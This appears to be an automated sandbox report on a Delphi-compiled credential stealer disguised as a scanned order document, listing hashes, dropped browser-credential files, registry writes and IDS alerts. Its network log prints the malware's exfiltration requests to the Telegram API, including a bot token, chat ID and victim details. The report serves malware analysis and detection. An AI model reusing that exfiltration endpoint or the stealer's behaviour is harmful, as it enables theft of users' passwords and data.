File name:	order_scandoc.pif.exe
Full analysis:	https://app.any.run/tasks/340f7eef-aa9d-464a-9a14-64393c243066
Verdict:	Malicious activity
Threats:	Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. Malware Trends Tracker >>>
Analysis date:	September 23, 2025, 16:26:25
OS:	Windows 10 Professional (build: 19044, 64 bit)
Tags:	stealer evasion delphi telegram ims-api generic
Indicators:
MIME:	application/vnd.microsoft.portable-executable
File info:	PE32 executable (GUI) Intel 80386, for MS Windows, 9 sections
MD5:	F0F00EBA3EF4C38CB7B77E20C4DA7D56
SHA1:	FA817BFCAFCC8B3633AFA3FB226F3345A160656D
SHA256:	F13039143D51037059A436504EAD9C3100CB9E500F02CC7E43055C93C0ED9597
SSDEEP:	49152:QMi9iqlK0i2/ygG6p5nx7RVGpL5WDrhMnciJ7UyCPw3mG893je3oRe/rb9xGpqL3:a9TDu6y5WDrhkciZUhPwWR3je3VDbX0l

.scr	\|	Windows screen saver (43.2)
.dll	\|	Win32 Dynamic Link Library (generic) (21.7)
.exe	\|	Win32 Executable (generic) (14.8)
.exe	\|	Win16/32 Executable Delphi generic (6.8)
.exe	\|	Generic Win/DOS Executable (6.6)

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	1992:06:19 22:22:17+00:00
ImageFileCharacteristics:	Executable, No line numbers, No symbols, Bytes reversed lo, 32-bit, Bytes reversed hi
PEType:	PE32
LinkerVersion:	2.25
CodeSize:	515072
InitializedDataSize:	1141248
UninitializedDataSize:	-
EntryPoint:	0x7f7bc
OSVersion:	4
ImageVersion:	-
SubsystemVersion:	4
Subsystem:	Windows GUI


(PID) Process:	(2064) ykwhenrvO.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:	write	Name:	CachePrefix
Value:
(PID) Process:	(2064) ykwhenrvO.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:	write	Name:	CachePrefix
Value: Cookie:
(PID) Process:	(2064) ykwhenrvO.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:	write	Name:	CachePrefix
Value: Visited:

PID	Process	Filename		Type
2064	ykwhenrvO.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\DESKTOP-JGLLJLD-admin\WebData		binary
		MD5:983A5B37990067066CF80EDDF2426994	SHA256:E499265D1817B9CD52AC502B7BE6DEF5174478CAAAB7DADE263A7754E4E838D3
2064	ykwhenrvO.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\DESKTOP-JGLLJLD-admin\keyDBPath.db		binary
		MD5:0FF3BCDD0BE077B9EB8194B5C09F453C	SHA256:225D669E47EB14D8C969799C92AAEF27B66CD984872EA09284E48DB46521E651
2064	ykwhenrvO.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\DESKTOP-JGLLJLD-admin\LoginData		binary
		MD5:A45465CDCDC6CB30C8906F3DA4EC114C	SHA256:4412319EF944EBCCA9581CBACB1D4E1DC614C348D1DFC5D2FAAAAD863D300209
6264	order_scandoc.pif.exe	C:\Users\Public\ykwhenrvO.exe		executable
		MD5:C116D3604CEAFE7057D77FF27552C215	SHA256:7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
2064	ykwhenrvO.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\DESKTOP-JGLLJLD-admin\DESKTOP-JGLLJLD-admin.html		text
		MD5:64CA6CC1A4933D8A20585E027DA46F4C	SHA256:52E5A4791F89A6CA5A8D0412685DAF022876AEB2F6B11C40D0538194C0EC016E

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1268	svchost.exe	GET	200	2.16.16.148:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
5944	MoUsoCoreWorker.exe	GET	200	2.16.16.148:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
1964	RUXIMICS.exe	GET	200	2.16.16.148:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
1268	svchost.exe	GET	200	23.200.213.221:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
5944	MoUsoCoreWorker.exe	GET	200	23.200.213.221:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
1964	RUXIMICS.exe	GET	200	23.200.213.221:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
2064	ykwhenrvO.exe	GET	200	162.55.60.2:80	http://showip.net/	unknown	—	—	shared
—	—	POST	200	20.190.159.71:443	https://login.live.com/RST2.srf	unknown	xml	1.24 Kb	—
—	—	POST	200	149.154.167.99:443	https://api.telegram.org/bot8465292288:AAFxpuUMa_h_H4JaedS1GzXtfpxQHRQh-AI/sendDocument?chat_id=6683518699&caption=PW_DESKTOP-JGLLJLD\admin\176.128.145.138	unknown	binary	597 b	—
—	—	POST	200	149.154.167.99:443	https://api.telegram.org/bot8465292288:AAFxpuUMa_h_H4JaedS1GzXtfpxQHRQh-AI/sendDocument?chat_id=6683518699&caption=PW_DESKTOP-JGLLJLD\admin\176.128.145.138	unknown	binary	597 b	—

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
1268	svchost.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5944	MoUsoCoreWorker.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
1964	RUXIMICS.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
1268	svchost.exe	2.16.16.148:80	crl.microsoft.com	Akamai International B.V.	NL	whitelisted
5944	MoUsoCoreWorker.exe	2.16.16.148:80	crl.microsoft.com	Akamai International B.V.	NL	whitelisted
1964	RUXIMICS.exe	2.16.16.148:80	crl.microsoft.com	Akamai International B.V.	NL	whitelisted
1268	svchost.exe	23.200.213.221:80	www.microsoft.com	AKAMAI-AS	FR	whitelisted
5944	MoUsoCoreWorker.exe	23.200.213.221:80	www.microsoft.com	AKAMAI-AS	FR	whitelisted

Domain	IP	Reputation
settings-win.data.microsoft.com	4.231.128.59	whitelisted
google.com	142.250.185.174	whitelisted
crl.microsoft.com	2.16.16.148 2.16.16.155	whitelisted
www.microsoft.com	23.200.213.221	whitelisted
showip.net	162.55.60.2	shared
api.telegram.org	149.154.167.220	whitelisted
self.events.data.microsoft.com	20.42.65.89	whitelisted
activation-v2.sls.microsoft.com	4.154.209.85	whitelisted
login.live.com	20.190.160.132 20.190.160.3 40.126.32.68 40.126.32.138 40.126.32.72 20.190.160.65 20.190.160.2 40.126.32.76	whitelisted
client.wns.windows.com	172.211.123.248	whitelisted

PID	Process	Class	Message
—	—	Unknown Traffic	ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
2064	ykwhenrvO.exe	Attempted Information Leak	ET INFO IP Check Domain (showip in HTTP Host)
2064	ykwhenrvO.exe	A Network Trojan was detected	STEALER [ANY.RUN] DarkCloud External IP Check
2064	ykwhenrvO.exe	Device Retrieving External IP Address Detected	ET HUNTING [ANY.RUN] DARKCLOUD Style External IP Check
2200	svchost.exe	Misc activity	ET HUNTING Telegram API Domain in DNS Lookup
2064	ykwhenrvO.exe	Misc activity	ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
2064	ykwhenrvO.exe	Misc activity	ET HUNTING Telegram API Certificate Observed
—	—	Misc activity	SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body
—	—	Misc activity	SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body

General Info

order_scandoc.pif.exe

F0F00EBA3EF4C38CB7B77E20C4DA7D56

FA817BFCAFCC8B3633AFA3FB226F3345A160656D

F13039143D51037059A436504EAD9C3100CB9E500F02CC7E43055C93C0ED9597

49152:QMi9iqlK0i2/ygG6p5nx7RVGpL5WDrhMnciJ7UyCPw3mG893je3oRe/rb9xGpqL3:a9TDu6y5WDrhkciZUhPwWR3je3VDbX0l

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

SUSPICIOUS

Executable content was dropped or overwritten

Reads security settings of Internet Explorer

Checks for external IP

Process communicates with Telegram (possibly using it as an attacker's C2 server)

Possible usage of Discord/Telegram API has been detected (YARA)

INFO

Checks supported languages

Checks proxy server information

Reads the computer name

The sample compiled with english language support

Compiled with Borland Delphi (YARA)

Reads the machine GUID from the registry

Creates files or folders in the user directory

Reads the software policy settings

Malware configuration

ims-api

Static information

TRiD

EXIF

EXE

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Malware configuration

ims-api

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings